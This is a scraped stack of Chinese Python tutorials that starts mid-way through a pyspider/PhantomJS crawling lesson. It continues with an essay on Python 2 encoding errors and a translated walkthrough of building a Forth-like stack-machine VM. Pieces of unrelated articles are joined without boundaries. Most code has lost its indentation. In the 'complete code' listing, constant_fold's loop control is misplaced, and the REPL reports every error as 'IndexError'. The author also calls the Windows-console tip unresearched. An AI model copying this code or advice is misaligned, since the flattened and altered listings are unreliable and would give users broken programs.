        self.crawl('http://movie.douban.com/explore',
                   fetch_type='js', callback=self.phantomjs_parser)

    def phantomjs_parser(self, response):
        return [{
            "title": "".join(
                s for s in x('p').contents() if isinstance(s, basestring)
            ).strip(),
            "rate": x('p strong').text(),
            "url": x.attr.href,
        } for x in response.doc('a.item').items()]




  
	我在这里使用了一些 PyQuery 的 API，你可以在 PyQuery complete API 获得完整的 API 手册。

  




在页面上执行自定义脚本


你会发现，在上面我们使用 PhantomJS 抓取的豆瓣热门电影只有 20 条。当你点击『加载更多』时，能获得更多的热门电影。为了获得更多的电影，我们可以使用 self.crawl 的 js_script 参数，在页面上执行一段脚本，点击加载更多：


python    def on_start(self):
        self.crawl('http://movie.douban.com/explore#more',
                   fetch_type='js', js_script="""
                   function() {
                     setTimeout("$('.more').click()", 1000);
                   }""", callback=self.phantomjs_parser)




  
	这个脚本默认在页面加载结束后执行，你可以通过 js_run_at 参数 修改这个行为

  	由于是 AJAX 异步加载的，在页面加载完成时，第一页的电影可能还没有加载完，所以我们用 setTimeout 延迟 1 秒执行。

  	你可以间隔一定时间，多次点击，这样可以加载更多页。

  	由于相同 URL （实际是相同 taskid） 的任务会被去重，所以这里为 URL 加了一个 #more


  




上面两个例子，都可以在 http://demo.pyspider.org/debug/tutorial_douban_explore 中找到。




中文原文： http://blog.binux.me/2015/01/pyspider-tutorial-level-3-render-with-phantomjs/


 python编码的意义

作者：jiminhuang

来源： python编码的意义



                    
编码，还是编码！

python2的直钩——编码异常

当你用python打开一篇中文文档，准备读取里面的数据开始实验...
当你处理好你的数据，打算打印出易于阅读的结果给boss检查...
甚至当你刚刚开始编写自己的代码，就写了一句话...

text = '什么鬼'

只要你开始运行自己的代码，信心满满期待搞定回寝时

UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 0: ordinal not in range(128)



以及

SyntaxError: Non-ASCII character '\xe5' in file test.py on line 3, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details



于是你10点前回到寝室以及之后的一系列计划全部泡汤了，垂头丧气的坐下来，你看到两个动词格外亮眼——decode，encode。而他们的中文释义，就是python2对新手的最大陷阱——编码。

当我们谈论编码时我们在谈论什么

python中有关编码问题的对象有basestring, str, unicode， 标准库有codecs等，在这篇文章里我们基本上不会提到标准库，而仅仅简单的对对象们进行分析。因为这就够了！

事实上，我们常犯的编码问题，从抛出异常的角度来说分为两种，很明显，本文一开头也列出这两种异常的打印情形，它们分别是


	py文件编译时未指定文件字符集导致的解码异常


	字符串对象互相转换时使用默认编码导致的异常




之后将会分别对两类异常的处理方法做说明。实际上， 第一类错误本质上则是 python 自己运行时打开文件进行解码造成的异常， 就是第二类错误！ 我们所犯的解码异常，就是

字符串对象互相转化时没有指定字符编码



黄金原则

本文章之所以比其他写编码的文章稍微多一点价值的原因，在于本文在这里——第一章的最后一小节——就用最大的字体写了处理这类异常的黄金原则

不要惊慌



以及在此之下的，你真正可以掌握的，避免这类异常的黄金原则

只有在IO的时候，才进行转换



这意味着


	因为某些原因， python 打开流读取出的是str，所以用你知道的每一种编码把它解码成unicode


	大概是因为同样的原因，python 的输出也是str， 但是任何一个unicode 只有到要输出的时候才编码成str


	在此之间，放弃该死的str，忘了它，当你开始处理的时候，确保你的每一个字符串对象都是unicode




掌握了以上原则，会避免99%的编码异常发生。当然，正在阅读这篇文章的人中有80%肯定犯过了1000次以上这种错误，去避免剩下1%的发生，而还有20%的人刚开始准备写python，他们会在看完这篇文章后犯完100%的错误，本文的作者正在和80%的人一起微笑着等他们第二遍来看这篇文章。
顺便说一下，这篇文章到这里主要内容就结束了，如果你想找到解决方法和原因，上面已经说的清清楚楚了，接下来主要是各种重复和闲谈，帮助你了解这之后的内幕，不过第二次来看的同学们记得往下看哦

第一类异常

一点小trick

第一类异常是python 自己打开你写的源文件时抛出的解码异常，这句话被说了两遍说明它一定——很不重要，不过你也可以当做一个冷知识储备一下。

SyntaxError: Non-ASCII character '\xe5' in file test.py on line 3, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details



所有的这类异常都是因为你在源文件写代码时中直接使用了国际化文本——也就是你没有办法在ascii码表里找到的字符。同时你“聪明”的没有做下面说的这一件事


在文件的开头使用注释声明文件编码

# coding：文件编码



pep263

如果你有审慎的阅读出错信息，你一定会注意到一个网址出现在其中。没错，那就是python社区的技术提案 PEP(python enhancement proposals)， 涵盖了从版本更新特性至python格式指南的一切东西，如果你有一个昏昏欲睡的下午的话，可以浪费一点时间看看它。

在pep263里，详细的介绍了某种异常发生的原因，以及它提出的一种声明注释的解决方案。接下来我们简要介绍的一些内容你都可以在上面找到，当然它是英文的

原因

自从pep263成为python标准后，python的编译器或者说是编码器在开始解释前，先要经过以下几个步骤：


	读出文件内容


	将内容根据文件编码解码成为unicode


	分词标注


	解释它，并把每一个直接写出的unicode(u'什么鬼')创建一个unicode对象，对str对象，将会从unicode按照文件编码再编码成为str对象




异常原因在于，python的默认文件编码，不是utf-8，不是gbk，而是 ascii。

快出来看上帝

他们彼此商量说，来吧，我们要作砖，把砖烧透了。他们就拿砖当石头，又拿石漆当灰泥。



他们说，来吧，我们要建造一座城和一座塔，塔顶通天，为要传扬我们的名，免得我们分散在全地上。  
耶和华降临，要看看世人所建造的城和塔。  
耶和华说，看哪，他们成为一样的人民，都是一样的言语，如今既作起这事来，以后他们所要作的事就没有不成就的了。  
我们下去，在那里变乱他们的口音，使他们的言语彼此不通。  
于是，耶和华使他们从那里分散在全地上。他们就停工，不造那城了

本文作者之所以在这里引用一段旧约(某知道里的答案)，完全是因为作者想展示一下自己的逼格。事实上，本章关于第一类异常的处理在第一小节就已经结束了，后面完全是杂谈，但其实也许是很重要的

上帝机智的搅乱了人类的语言的1000年后，本文作者觉得可能是上帝的第二次降临，人类中最聪明的一群人，也许也是最蠢的，程序员，开始想要在自己的处理对象里增加字符了。

考虑到转换的问题，很容易就想到，如果把每一个字母，每一个标点，每一个符号与计算机中特殊的一位一一对应的话，就能够实现对字符的处理了。那么，这里假设你已经有一定的计算机底层知识了，这样一个唯一的对应的编码至少需要多少位？

这里提供一些数据， 所有大小写字母一共52个，0～9数字需要10个，加上逗号，句号，感叹号...

答案是 7。

而ascii码，也就是美国信息交换标准码(American Standard Code for Information Interchange)，1967年发布，7位字符编码中影响最大的一种。二进制取值范围0000000~1111111，十六进制表示00h～7fh

事实上当时ascii码主要是用于电传打字机的，但是现在已经基本上一统计算机的天下。但它的问题同样很严重，就在它的名字里，它实在太美国化了。阿拉伯文，日语，当然还有我们的中文，通通找不到自己的位置，于是出现无穷多种扩展ascii编码，它们的前7fh的编码与ascii保持一致，而使用自己的扩展位实现对其他语言及符号的编码

我们统称这一类为ANSI编码标准，在这里各国的程序员们就开始各自发挥了：


	gb大家族，我朝官方认证出品的一系列字符集


	latin大家族，主要是对拉丁字母及西欧一些国家的字母编码


	Big 5，呆湾主要使用的针对繁体中文的编码
...




你可以想象这是有多么混乱，实际上都不用想象，现在还有无数人在求助，我的文档打开乱码怎么办

因此，Unicode响应时代的号召，横空出世。Unicode使用16位编码，编码范围0000h~ffffh，它对还在捉对厮杀的各国程序员说，别打了，我们一个字符集包括世界上所有字符就好啦

但是，Unicode只是给定了字符与编码的对应关系，它的实现方式还是有很多种，其中就有UTF大家族(其实是美帝的程序员发现它们要为一辈子都可能见不到的中文，把英文编码提高一个字节时，wtf！)

于是就有了UTF-8，使用一个字节表示英文，而三个字节表示中文的编码方式

注释声明

在一大段闲谈之后，我们简单的说明了各大字符集的由来，所以，现在问题来了，面对各国程序员的各种编码的文件，一门编程语言应该如何处理呢？ 

对于python，它的默认文件编码是ascii码，在遇到国际化文本，也就是其他编码字符集时，就会无法编码(老天，这个编码都超过ffh了！)

因此，呼应文章开头，pep263指出，python的程序员们都应该在文件的开头写上文件的默认编码，同时一个文件只能有一种编码！也就是：

# coding：文件编码

至于为什么与你平常所见到的模式：

# -*- coding: utf-8 -*-

不一样，本文作者会轻易告诉你-*-是装饰用的吗

第二类异常

Unicode会梦见小绵羊吗？

在python中，其实是python2中，与其他语言不同的是，有两个经常被用来实际操作的字符串对象


	str


	Unicode




要说明两者之间的关系，实在不是一个——很难的问题。我们可以非常非常非常——容易的得到对象的继承关系，如下图：

> object
  >> basestring
     >>> str
     >>> --
     >>> unicode

可以看到，unicode对象与str对象都继承自basestring。basestring是一个抽象类，字符串及其操作由子类str及unicode各自实现。所以

基本上所有str能进行的操作unicode都能进行。



编码与解码

在python中，我们所说的编码encode，特指从unicode转换成指定编码的str对象

str = unicode.encode(字符编码)

而所说的解码decode，特指从指定编码的str对象转换为unicode对象

unicode = str.decode(字符编码)

如果你有好好的阅读来看上帝把那一节，就很容易理解这二者的转换，相当于我们把不同字符集中对字符的编码与Unicode全世界统一的编码互相转换。

而python2最大的直钩也在于此，它的默认编码是ascii。

然而ascii早已看穿了一切

我们之所以要重复提ascii，是因为它真的很重要！理解它是python2默认编码将会让你真正理解第二类异常的原因：

进行编码解码时没有指定字符集编码，python默认使用ascii进行编码解码



因为ascii仅包含英文大小写及几十个常用符号，因此，当你的编码解码的对象里包含中文或者其他乱七八糟东西的时候

UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 0: ordinal not in range(128)



Do you know your object?

在这一节，我们将会谈到何时会触发第二类异常，也就是所谓的情景检查。事实上，在本文作者看来，所有的第二类异常都在一种情形下发生：

程序员混用了unicode与str对象



一旦开始错误的使用unicode或者str，都将很有可能导致第二类异常。然而，遗憾的是，直到它抛出了异常，大部分没读过这篇文章的人依然没有意识到问题在哪里。其主要原因在于：


	str对象支持的方法与unicode基本完全一样


	str与unicode都是继承自basestring，大部分对字符串操作的方法只会检查是不是basestring类及其子类


	任何一个类都来自object(这里指新类)，都默认包含内建方法__str__，该方法用于将实例转换成str对象，换言之，你能够print任何一个对象，都因为默认使用内建方法转换了。各个类都可以改写这个内建方法，而unicode改写为使用默认编码解码




这就使得一个初学者的程序中，字符串对象既有unicode，也有str，而他完全没有意识到，当然也是由于大部分市面上的书在这一点上都及其不负责任。想象一下，当你以为自己的对象a是一个str，而实际上是一个unicode，你想当然的进行print输出时，就会默认调用unicode的__str__进行转化输出，在这里进行了默认编码ascii的解码，error！同理适用于当你把一个str当unicode用的时候

一旦你开始混用两种对象，在你不注意的地方，就会发生默认编码解码！



另外一种稍微可以谅解的情况是，python2关于文件流的封装实在太过坑爹，基本上所有文件流最终返回和写入的都是str对象。简单的举个例子，你打开一个文件，按行读取的每一行，都是一个str对象！那些只告诉你这样可以读，不告诉你返回类型(虽然写了你也不大可能注意)的技术博客都是在耍流氓！

    with open('data.txt', 'r') as f:
        for line in f:
            line 是一个str对象！

所以在看到这里的时候，请务必检查你的程序，检查你的每一个字符串对象，确定它是你想要的类型，要知道，我们所接触的大部分数据都会有中文，千万不要等到报错了才开始纠错

Do you know your object？
No！？
Go to know your object！



放过str，请找unicode

为什么我们要放弃str？

简单的理由，str不仅需要我们知道它的编码，还需要根据输出编码做转换。假设你有一个utf8编码的str对象，想要输出到gbk编码的控制台上，你要这么做：


	utf8解码成unicode


	unicode编码成gbk




为什么我们不从一开始对象处理的时候就用unicode！

粗暴的理由，python3里面已经没有str这种东西了！

请记住黄金原则

只有在IO的时候，才进行转换



这意味着


	因为某些原因， python 打开流读取出的是str，所以用你知道的每一种编码把它解码成unicode


	大概是因为同样的原因，python 的输出也是str， 但是任何一个unicode 只有到要输出的时候才编码成str


	在此之间，放弃该死的str，忘了它，当你开始处理的时候，确保你的每一个字符串对象都是unicode




是不是在哪里看到过？ 不要在意这些细节～

按照黄金原则编写能确保你的每一个进行处理的字符串对象都是unicode，同时只在io处进行转换确保你只有在这个时候才需要考虑编码的问题，也符合面向对象封装的概念，也是最pythonic的做法

如果你还不知道什么是pythonic，请直接运行以下python代码

import this

上面所说的是最正确的解决方法，当然有同学就会问啦，下面这种为什么不是最正确的呢？

import sys
sys.setdefaultencoding(字符编码)

这种方法是在饮鸩止渴，完全没有解决你的实际代码问题。它只是将python默认编码替换成了你想要的编码(utf-8之类)，一旦有新的编码类型的str对象出现，你的程序就会重新开始报错。所以不推荐这种方法，它会掩盖掉你程序的大部分问题。

异常蛋疼的windows控制台

简单粗暴

就在不久前，本文作者在服务器上部署爬虫代码，就不得不在控制台输出(当然不是因为作者懒得用其他方式跑代码)，结果是一连串的乱码，自认不是新手的作者完全不能忍了，于是心平气和的坐下来研究了下windows控制台的编码

事实上，windows的控制台的字符集编码不叫字符集编码，而叫代码页，多么古怪的名字！于是我们很直接的查到了utf-8的代码页是65001

然后再输出的时候发现，每log一行就在报一行的error，看输出信息是log的流往控制台写的时候报的错，不过既然能打印出log，本文作者决定忽略掉那些error

所以


	把代码页设置为65001 chcp 65001


	如果打印出了log，忽略那些错误把～




本小节是真的没有查资料，如有错误和更好的解决方法，请不吝指正
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更新：根据大家的评论我对代码做了轻微的改动。感谢 robin-gvx、 bs4h 和 Dagur，具体代码见这里


Stack Machine 本身并没有任何的寄存器，它将所需要处理的值全部放入堆栈中而后进行处理。Stack Machine 虽然简单但是却十分强大，这也是为神马 Python，Java，PostScript，Forth 和其他语言都选择它作为自己的虚拟机的原因。


首先，我们先来谈谈堆栈。我们需要一个指令指针栈用于保存返回地址。这样当我们调用了一个子例程（比如调用一个函数）的时候我们就能够返回到我们开始调用的地方了。我们可以使用自修改代码(self-modifying code)来做这件事，恰如 Donald Knuth 发起的 MIX 所做的那样。但是如果这么做的话你不得不自己维护堆栈从而保证递归能正常工作。在这篇文章中，我并不会真正的实现子例程调用，但是要实现它其实并不难（可以考虑把实现它当成练习）。


有了堆栈之后你会省很多事儿。举个例子来说，考虑这样一个表达式(2+3)*4。在 Stack Machine 上与这个表达式等价的代码为 2 3 + 4 *。首先，将 2 和 3 推入堆栈中，接下来的是操作符 +，此时让堆栈弹出这两个数值，再把它两加合之后的结果重新入栈。然后将 4 入堆，而后让堆栈弹出两个数值，再把他们相乘之后的结果重新入栈。多么简单啊！


让我们开始写一个简单的堆栈类吧。让这个类继承 collections.deque：


from collections import deque

class Stack(deque):
push = deque.append

def top(self):
    return self[-1]



现在我们有了 push、pop 和 top 这三个方法。top 方法用于查看栈顶元素。


接下来，我们实现虚拟机这个类。在虚拟机中我们需要两个堆栈以及一些内存空间来存储程序本身（译者注：这里的程序请结合下文理解）。得益于 Pyhton 的动态类型我们可以往 list 中放入任何类型。唯一的问题是我们无法区分出哪些是字符串哪些是内置函数。正确的做法是只将真正的 Python 函数放入 list 中。我可能会在将来实现这一点。


我们同时还需要一个指令指针指向程序中下一个要执行的代码。


class Machine:
def __init__(self, code):
    self.data_stack = Stack()
    self.return_addr_stack = Stack()
    self.instruction_pointer = 0
    self.code = code



这时候我们增加一些方便使用的函数省得以后多敲键盘。


def pop(self):
    return self.data_stack.pop()

def push(self, value):
    self.data_stack.push(value)

def top(self):
    return self.data_stack.top()



然后我们增加一个 dispatch 函数来完成每一个操作码做的事儿（我们并不是真正的使用操作码，只是动态展开它，你懂的）。首先，增加一个解释器所必须的循环：


def run(self):
    while self.instruction_pointer < len(self.code):
        opcode = self.code[self.instruction_pointer]
        self.instruction_pointer += 1
        self.dispatch(opcode)



诚如您所见的，这货只好好的做一件事儿，即获取下一条指令，让指令指针执自增，然后根据操作码分别处理。dispatch 函数的代码稍微长了一点。


def dispatch(self, op):
    dispatch_map = {
        "%":        self.mod,
        "*":        self.mul,
        "+":        self.plus,
        "-":        self.minus,
        "/":        self.div,
        "==":       self.eq,
        "cast_int": self.cast_int,
        "cast_str": self.cast_str,
        "drop":     self.drop,
        "dup":      self.dup,
        "if":       self.if_stmt,
        "jmp":      self.jmp,
        "over":     self.over,
        "print":    self.print_,
        "println":  self.println,
        "read":     self.read,
        "stack":    self.dump_stack,
        "swap":     self.swap,
    }

    if op in dispatch_map:
        dispatch_map[op]()
    elif isinstance(op, int):
        # push numbers on the data stack
        self.push(op)
    elif isinstance(op, str) and op[0]==op[-1]=='"':
        # push quoted strings on the data stack
        self.push(op[1:-1])
    else:
        raise RuntimeError("Unknown opcode: '%s'" % op)



基本上，这段代码只是根据操作码查找是都有对应的处理函数，例如 * 对应 self.mul，drop 对应 self.drop，dup对应 self.dup。顺便说一句，你在这里看到的这段代码其实本质上就是简单版的 Forth。而且，Forth 语言还是值得您看看的。


总之捏，它一但发现操作码是 * 的话就直接调用 self.mul 并执行它。就像这样：


def mul(self):
    self.push(self.pop() * self.pop())



其他的函数也是类似这样的。如果我们在 dispatch_map 中查找不到相应操作函数，我们首先检查他是不是数字类型，如果是的话直接入栈；如果是被引号括起来的字符串的话也是同样处理－－直接入栈。


截止现在，恭喜你，一个虚拟机就完成了。


让我们定义更多的操作，然后使用我们刚完成的虚拟机和 p-code 语言来写程序。


# Allow to use "print" as a name for our own method:
from __future__ import print_function

# ...

def plus(self):
    self.push(self.pop() + self.pop())

def minus(self):
    last = self.pop()
    self.push(self.pop() - last)

def mul(self):
    self.push(self.pop() * self.pop())

def div(self):
    last = self.pop()
    self.push(self.pop() / last)

def print(self):
    sys.stdout.write(str(self.pop()))
    sys.stdout.flush()

def println(self):
    sys.stdout.write("%s\n" % self.pop())
    sys.stdout.flush()



让我们用我们的虚拟机写个与 print((2+3)*4) 等同效果的例子。


Machine([2, 3, "+", 4, "*", "println"]).run()



你可以试着运行它。


现在引入一个新的操作 jump, 即 go-to 操作


def jmp(self):
    addr = self.pop()
    if isinstance(addr, int) and 0 <= addr < len(self.code):
        self.instruction_pointer = addr
    else:
        raise RuntimeError("JMP address must be a valid integer.")



它只改变指令指针的值。我们再看看分支跳转是怎么做的。


def if_stmt(self):
    false_clause = self.pop()
    true_clause = self.pop()
    test = self.pop()
    self.push(true_clause if test else false_clause)



这同样也是很直白的。如果你想要添加一个条件跳转，你只要简单的执行 test-value true-value false-value IF JMP 就可以了.（分支处理是很常见的操作，许多虚拟机都提供类似 JNE 这样的操作。JNE 是 jump if not equal 的缩写）。


下面的程序要求使用者输入两个数字，然后打印出他们的和和乘积。


Machine([
'"Enter a number: "', "print", "read", "cast_int",
'"Enter another number: "', "print", "read", "cast_int",
"over", "over",
'"Their sum is: "', "print", "+", "println",
'"Their product is: "', "print", "*", "println"
]).run()



over、read 和 cast_int 这三个操作是长这样滴：


def cast_int(self):
    self.push(int(self.pop()))

def over(self):
    b = self.pop()
    a = self.pop()
    self.push(a)
    self.push(b)
    self.push(a)

def read(self):
    self.push(raw_input())



以下这一段程序要求使用者输入一个数字，然后打印出这个数字是奇数还是偶数。


Machine([
'"Enter a number: "', "print", "read", "cast_int",
'"The number "', "print", "dup", "print", '" is "', "print",
2, "%", 0, "==", '"even."', '"odd."', "if", "println",
0, "jmp" # loop forever!
]).run()



这里有个小练习给你去实现：增加 call 和 return 这两个操作码。call 操作码将会做如下事情 ：将当前地址推入返回堆栈中，然后调用 self.jmp()。return 操作码将会做如下事情：返回堆栈弹栈，将弹栈出来元素的值赋予指令指针（这个值可以让你跳转回去或者从 call 调用中返回）。当你完成这两个命令，那么你的虚拟机就可以调用子例程了。


一个简单的解析器


创造一个模仿上述程序的小型语言。我们将把它编译成我们的机器码。


 import tokenize
 from StringIO import StringIO

# ...

def parse(text):
tokens =   tokenize.generate_tokens(StringIO(text).readline)
for toknum, tokval, _, _, _ in tokens:
    if toknum == tokenize.NUMBER:
        yield int(tokval)
    elif toknum in [tokenize.OP, tokenize.STRING, tokenize.NAME]:
        yield tokval
    elif toknum == tokenize.ENDMARKER:
        break
    else:
        raise RuntimeError("Unknown token %s: '%s'" %
                (tokenize.tok_name[toknum], tokval))



一个简单的优化：常量折叠


常量折叠（Constant folding）是窥孔优化（peephole optimization）的一个例子，也即是说再在编译期间可以针对某些明显的代码片段做些预计算的工作。比如，对于涉及到常量的数学表达式例如 2 3 +就可以很轻松的实现这种优化。


def constant_fold(code):
"""Constant-folds simple mathematical expressions like 2 3 + to 5."""
while True:
    # Find two consecutive numbers and an arithmetic operator
    for i, (a, b, op) in enumerate(zip(code, code[1:], code[2:])):
        if isinstance(a, int) and isinstance(b, int) \
                and op in {"+", "-", "*", "/"}:
            m = Machine((a, b, op))
            m.run()
            code[i:i+3] = [m.top()]
            print("Constant-folded %s%s%s to %s" % (a,op,b,m.top()))
            break
    else:
        break
return code



采用常量折叠遇到唯一问题就是我们不得不更新跳转地址，但在很多情况这是很难办到的（例如：test cast_int jmp）。针对这个问题有很多解决方法，其中一个简单的方法就是只允许跳转到程序中的命名标签上，然后在优化之后解析出他们真正的地址。


如果你实现了 Forth words，也即函数，你可以做更多的优化，比如删除可能永远不会被用到的程序代码（dead code elimination）


REPL


我们可以创造一个简单的 PERL，就像这样


def repl():
print('Hit CTRL+D or type "exit" to quit.')

while True:
    try:
        source = raw_input("> ")
        code = list(parse(source))
        code = constant_fold(code)
        Machine(code).run()
    except (RuntimeError, IndexError) as e:
        print("IndexError: %s" % e)
    except KeyboardInterrupt:
        print("\nKeyboardInterrupt")



用一些简单的程序来测试我们的 REPL


> 2 3 + 4 * println
Constant-folded 2+3 to 5
Constant-folded 5*4 to 20
20
> 12 dup * println
144
> "Hello, world!" dup println println
Hello, world!
Hello, world!
你可以看到，常量折叠看起来运转正常。在第一个例子中，它把整个程序优化成这样 20 println。



下一步


当你添加完 call 和 return 之后，你便可以让使用者定义自己的函数了。在Forth 中函数被称为 words，他们以冒号开头紧接着是名字然后以分号结束。例如，一个整数平方的 word 是长这样滴


: square dup * ;



实际上，你可以试试把这一段放在程序中，比如 Gforth


$ gforth
Gforth 0.7.3, Copyright (C) 1995-2008 Free Software Foundation, Inc.
Gforth comes with ABSOLUTELY NO WARRANTY; for details type `license'
Type `bye' to exit
: square dup * ;  ok
12 square . 144  ok



你可以在解析器中通过发现 : 来支持这一点。一旦你发现一个冒号，你必须记录下它的名字及其地址（比如：在程序中的位置）然后把他们插入到符号表（symbol table）中。简单起见，你甚至可以把整个函数的代码（包括分号）放在字典中，譬如：


symbol_table = {
"square": ["dup", "*"]
# ...
    }



当你完成了解析的工作，你可以连接你的程序：遍历整个主程序并且在符号表中寻找自定义函数的地方。一旦你找到一个并且它没有在主程序的后面出现，那么你可以把它附加到主程序的后面。然后用 <address> call 替换掉 square，这里的 <address> 是函数插入的地址。


为了保证程序能正常执行，你应该考虑剔除 jmp 操作。否则的话，你不得不解析它们。它确实能执行，但是你得按照用户编写程序的顺序保存它们。举例来说，你想在子例程之间移动，你要格外小心。你可能需要添加 exit 函数用于停止程序（可能需要告诉操作系统返回值），这样主程序就不会继续执行以至于跑到子例程中。


实际上，一个好的程序空间布局很有可能把主程序当成一个名为 main 的子例程。或者由你决定搞成什么样子。


如您所见，这一切都是很有趣的，而且通过这一过程你也学会了很多关于代码生成、链接、程序空间布局相关的知识。


更多能做的事儿


你可以使用 Python 字节码生成库来尝试将虚拟机代码为原生的 Python 字节码。或者用 Java 实现运行在 JVM 上面，这样你就可以自由使用 JITing。


同样的，你也可以尝试下register machine。你可以尝试用栈帧（stack frames）实现调用栈（call stack），并基于此建立调用会话。


最后，如果你不喜欢类似 Forth 这样的语言，你可以创造运行于这个虚拟机之上的自定义语言。譬如，你可以把类似 (2+3)*4 这样的中缀表达式转化成 2 3 + 4 * 然后生成代码。你也可以允许 C 风格的代码块 { ... } 这样的话，语句 if ( test ) { ... } else { ... } 将会被翻译成


<true/false test>
<address of true block>
<address of false block>
if
jmp

<true block>
<address of end of entire if-statement> jmp

<false block>
<address of end of entire if-statement> jmp



例子，


Address  Code
-------  ----
 0       2 3 >
 3       7        # Address of true-block
 4       11       # Address of false-block
 5       if
 6       jmp      # Conditional jump based on test

# True-block

7     "Two is greater than three."  
8       println
9       15       # Continue main program
10       jmp

# False-block ("else { ... }")
11       "Two is less than three."
12       println
13       15       # Continue main program
14       jmp

# If-statement finished, main program continues here
15       ...



对了，你还需要添加比较操作符 != < <= > >=。


我已经在我的 C++ stack machine 实现了这些东东，你可以参考下。


我已经把这里呈现出来的代码搞成了个项目 Crianza，它使用了更多的优化和实验性质的模型来吧程序编译成 Python 字节码。


祝好运！


完整的代码


下面是全部的代码，兼容 Python 2 和 Python 3


你可以通过 这里 得到它。


#!/usr/bin/env python
# coding: utf-8

"""
A simple VM interpreter.

Code from the post at http://csl.name/post/vm/
This version should work on both Python 2 and 3.
"""

from __future__ import print_function
from collections import deque
from io import StringIO
import sys
import tokenize


def get_input(*args, **kw):
"""Read a string from standard input."""
if sys.version[0] == "2":
    return raw_input(*args, **kw)
else:
    return input(*args, **kw)


class Stack(deque):
push = deque.append

def top(self):
    return self[-1]


class Machine:
def __init__(self, code):
    self.data_stack = Stack()
    self.return_stack = Stack()
    self.instruction_pointer = 0
    self.code = code

def pop(self):
    return self.data_stack.pop()

def push(self, value):
    self.data_stack.push(value)

def top(self):
    return self.data_stack.top()

def run(self):
    while self.instruction_pointer < len(self.code):
        opcode = self.code[self.instruction_pointer]
        self.instruction_pointer += 1
        self.dispatch(opcode)

def dispatch(self, op):
    dispatch_map = {
        "%":        self.mod,
        "*":        self.mul,
        "+":        self.plus,
        "-":        self.minus,
        "/":        self.div,
        "==":       self.eq,
        "cast_int": self.cast_int,
        "cast_str": self.cast_str,
        "drop":     self.drop,
        "dup":      self.dup,
        "exit":     self.exit,
        "if":       self.if_stmt,
        "jmp":      self.jmp,
        "over":     self.over,
        "print":    self.print,
        "println":  self.println,
        "read":     self.read,
        "stack":    self.dump_stack,
        "swap":     self.swap,
    }

    if op in dispatch_map:
        dispatch_map[op]()
    elif isinstance(op, int):
        self.push(op) # push numbers on stack
    elif isinstance(op, str) and op[0]==op[-1]=='"':
        self.push(op[1:-1]) # push quoted strings on stack
    else:
        raise RuntimeError("Unknown opcode: '%s'" % op)

# OPERATIONS FOLLOW:

def plus(self):
    self.push(self.pop() + self.pop())

def exit(self):
    sys.exit(0)

def minus(self):
    last = self.pop()
    self.push(self.pop() - last)

def mul(self):
    self.push(self.pop() * self.pop())

def div(self):
    last = self.pop()
    self.push(self.pop() / last)

def mod(self):
    last = self.pop()
    self.push(self.pop() % last)

def dup(self):
    self.push(self.top())

def over(self):
    b = self.pop()
    a = self.pop()
    self.push(a)
    self.push(b)
    self.push(a)

def drop(self):
    self.pop()

def swap(self):
    b = self.pop()
    a = self.pop()
    self.push(b)
    self.push(a)

def print(self):
    sys.stdout.write(str(self.pop()))
    sys.stdout.flush()

def println(self):
    sys.stdout.write("%s\n" % self.pop())
    sys.stdout.flush()

def read(self):
    self.push(get_input())

def cast_int(self):
    self.push(int(self.pop()))

def cast_str(self):
    self.push(str(self.pop()))

def eq(self):
    self.push(self.pop() == self.pop())

def if_stmt(self):
    false_clause = self.pop()
    true_clause = self.pop()
    test = self.pop()
    self.push(true_clause if test else false_clause)

def jmp(self):
    addr = self.pop()
    if isinstance(addr, int) and 0 <= addr < len(self.code):
        self.instruction_pointer = addr
    else:
        raise RuntimeError("JMP address must be a valid integer.")

def dump_stack(self):
    print("Data stack (top first):")

    for v in reversed(self.data_stack):
        print(" - type %s, value '%s'" % (type(v), v))


def parse(text):
# Note that the tokenizer module is intended for parsing Python source
# code, so if you're going to expand on the parser, you may have to use
# another tokenizer.

if sys.version[0] == "2":
    stream = StringIO(unicode(text))
else:
    stream = StringIO(text)

tokens = tokenize.generate_tokens(stream.readline)

for toknum, tokval, _, _, _ in tokens:
    if toknum == tokenize.NUMBER:
        yield int(tokval)
    elif toknum in [tokenize.OP, tokenize.STRING, tokenize.NAME]:
        yield tokval
    elif toknum == tokenize.ENDMARKER:
        break
    else:
        raise RuntimeError("Unknown token %s: '%s'" %
                (tokenize.tok_name[toknum], tokval))

def constant_fold(code):
"""Constant-folds simple mathematical expressions like 2 3 + to 5."""
while True:
    # Find two consecutive numbers and an arithmetic operator
    for i, (a, b, op) in enumerate(zip(code, code[1:], code[2:])):
        if isinstance(a, int) and isinstance(b, int) \
                and op in {"+", "-", "*", "/"}:
            m = Machine((a, b, op))
            m.run()
            code[i:i+3] = [m.top()]
            print("Constant-folded %s%s%s to %s" %  (a,op,b,m.top()))
            break
        else:
            break
        return code

def repl():
print('Hit CTRL+D or type "exit" to quit.')

while True:
    try:
        source = get_input("> ")
        code = list(parse(source))
        code = constant_fold(code)
        Machine(code).run()
    except (RuntimeError, IndexError) as e:
        print("IndexError: %s" % e)
    except KeyboardInterrupt:
        print("\nKeyboardInterrupt")

def test(code = [2, 3, "+", 5, "*", "println"]):
print("Code before optimization: %s" % str(code))
optimized = constant_fold(code)
print("Code after optimization: %s" % str(optimized))

print("Stack after running original program:")
a = Machine(code)
a.run()
a.dump_stack()

print("Stack after running optimized program:")
b = Machine(optimized)
b.run()
b.dump_stack()

result = a.data_stack == b.data_stack
print("Result: %s" % ("OK" if result else "FAIL"))
return result

def examples():
print("** Program 1: Runs the code for `print((2+3)*4)`")
Machine([2, 3, "+", 4, "*", "println"]).run()

print("\n** Program 2: Ask for numbers, computes sum and product.")
Machine([
    '"Enter a number: "', "print", "read", "cast_int",
    '"Enter another number: "', "print", "read", "cast_int",
    "over", "over",
    '"Their sum is: "', "print", "+", "println",
    '"Their product is: "', "print", "*", "println"
]).run()

print("\n** Program 3: Shows branching and looping (use CTRL+D to exit).")
Machine([
    '"Enter a number: "', "print", "read", "cast_int",
    '"The number "', "print", "dup", "print", '" is "', "print",
    2, "%", 0, "==", '"even."', '"odd."', "if", "println",
    0, "jmp" # loop forever!
]).run()


if __name__ == "__main__":
try:
    if len(sys.argv) > 1:
        cmd = sys.argv[1]
        if cmd == "repl":
            repl()
        elif cmd == "test":
            test()
            examples()
        else:
            print("Commands: repl, test")
    else:
        repl()
except EOFError:
    print("")



本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方技术博客。


 提高 Python 运行效率的六个窍门

作者：OneAPM蓝海讯通

